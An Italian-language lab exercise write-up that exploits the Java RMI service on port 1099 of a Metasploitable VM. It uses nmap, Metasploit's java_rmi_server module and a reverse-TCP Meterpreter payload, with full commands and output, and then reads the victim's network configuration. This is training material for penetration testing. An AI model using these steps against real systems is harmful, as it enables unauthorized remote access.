

## Progetto

### 10/03/2023

Nell'esercizio di oggi era richiesto di sfruttare la vulnerabilità presente sulla porta 1099 - Java RMI con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

Ho dapprima modificato l'indirizzo IP della macchina attaccante (KALI): 192.168.11.111, e quello della macchina vittima (Metasploitable): 192.168.11.112 assicurandomi poi che pingassero tra loro.

Da terminale ho utilizzato il comando **msfconsole** che fa riferimento alla console di Metasploit, un framework open-source utilizzato per il penetration testing e lo sviluppo di exploit.

```
(kali㉿kali)-[~]
$ msfconsole

      .:ok000kdc'          'cdk000ko:.
      .x0000000000000c      c000000000000x.
      :000000000000000k,    ,k000000000000000:
      '000000000kkkk00000:  :00000000000000000'
      o00000000.MMMM.o0000o0000l.MMMM,00000000o
      d00000000.MMMMMM.c00000c.MMMMMM,00000000x
      l00000000.MMMMMMMMM;d;MMMMMMMMM,00000000l
      .00000000.MMM.;MMMMMMMMMMMMM;MMMM,00000000.
      c0000000.MMM.00c.MMMM'o00.MMM,0000000c
      o000000.MMM.0000.MMM:0000.MMM,000000o
      l00000.MMM.0000.MMM:0000.MMM,00000l
      ;0000'MMM.0000.MMM:0000.MMM;0000;
      .d00o'WM.0000occcX0000.MX'x00d.
      ,kol'M.0000000000000.M'dOk,
      :kk;.0000000000000.;Ok:
      ;k000000000000000k:
      ,x000000000000x,
      .l0000000l.
      ,d0d,
      .

Esercizio.c  passwddec..
      =[ metasploit v6.3.2-dev ]
+ -- --[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --[ 968 payloads - 45 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -u
<session_id>
Metasploit Documentation: https://docs.metasploit.com/
```

Successivamente ho utilizzato il comando **nmap -sV 192.168.11.112** per eseguire una scansione del target specificato (192.168.11.112) al fine di identificare i servizi di rete in esecuzione e le versioni software associate ad essi.

```
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com/

msf6 > nmap -sV 192.168.11.112
[*] exec: nmap -sV 192.168.11.112

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 05:34 EST
Nmap scan report for 192.168.11.112
Host is up (0.00074s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Con il comando **search Java-rmi** ho cercato i moduli relativi a Java RMI (tecnologia utilizzata per supportare le comunicazioni tra processi in un ambiente distribuito), come ad esempio exploit e payload.

```
msf6 > search java rmi

Matching Modules
=====
#  Name
-  -
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22 excellent Yes Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RC
E
1  exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX Server Insecure Configuration Java Code Execution
2  auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX Server Insecure Endpoint Code Execution Scanner
3  auxiliary/gather/java_rmi_registry normal No Java RMI Registry Interfaces Enumeration
4  exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Ex
ecution
5  auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner
6  exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
7  exploit/multi/browser/java_signed_applet 1997-02-19 excellent No Java Signed Applet Social Engineering Code Execution
8  exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass and Metaprogramming RCE
9  exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
10 exploit/multi/browser/firefox_xpi_bootstrapped_addon 2007-06-27 excellent No Mozilla Firefox Bootstrapped Addon Social Engineering Code
Execution
11 exploit/multi/http/totaljs_cms_widget_exec 2019-08-30 excellent Yes Total.js CMS 12 Widget Java Script Code Injection
12 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc 2021-09-21 manual Yes VMware vCenter vScalation Priv Esc

Interact with a module by name or index. For example info 12, use 12 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
```

Con il comando **use 4** ho selezionato l'exploit che mi interessava.

Ho poi utilizzato il comando **show options** per visualizzare e configurare le opzioni disponibili per quel determinato exploit.

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Generic (Java Payload)

```

Ho configurato l'RHOST della macchina vittima con il comando **set RHOST 192.168.11.112** e ho riefettuato il comando **show option** per verificare di aver configurato in modo corretto.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Generic (Java Payload)

```

Con il comando **exploit** ho lanciato l'attacco per sfruttare la vulnerabilità del sistema target e ottenere un accesso non autorizzato.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/wA6nKPVt
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:47756) at 2023-03-10 05:43:18 -0500

meterpreter > 
```

Per ottenere la configurazione di rete della macchina target, come richiesto dall'esercizio, ho utilizzato il comando **ifconfig**.

```
meterpreter > ifconfig
```

**Interface 1**

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

**Interface 2**

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed1:6a10
IPv6 Netmask : ::
```

Infine ho ottenuto informazioni sulla tabella di routing della macchina vittima con il comando **route**.

```
meterpreter > route
```

**IPv4 network routes**

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

**IPv6 network routes**

Subnet	Netmask	Gateway	Metric	Interface
:::1	::	::		
fe80::a00:27ff:fed1:6a10	::	::		

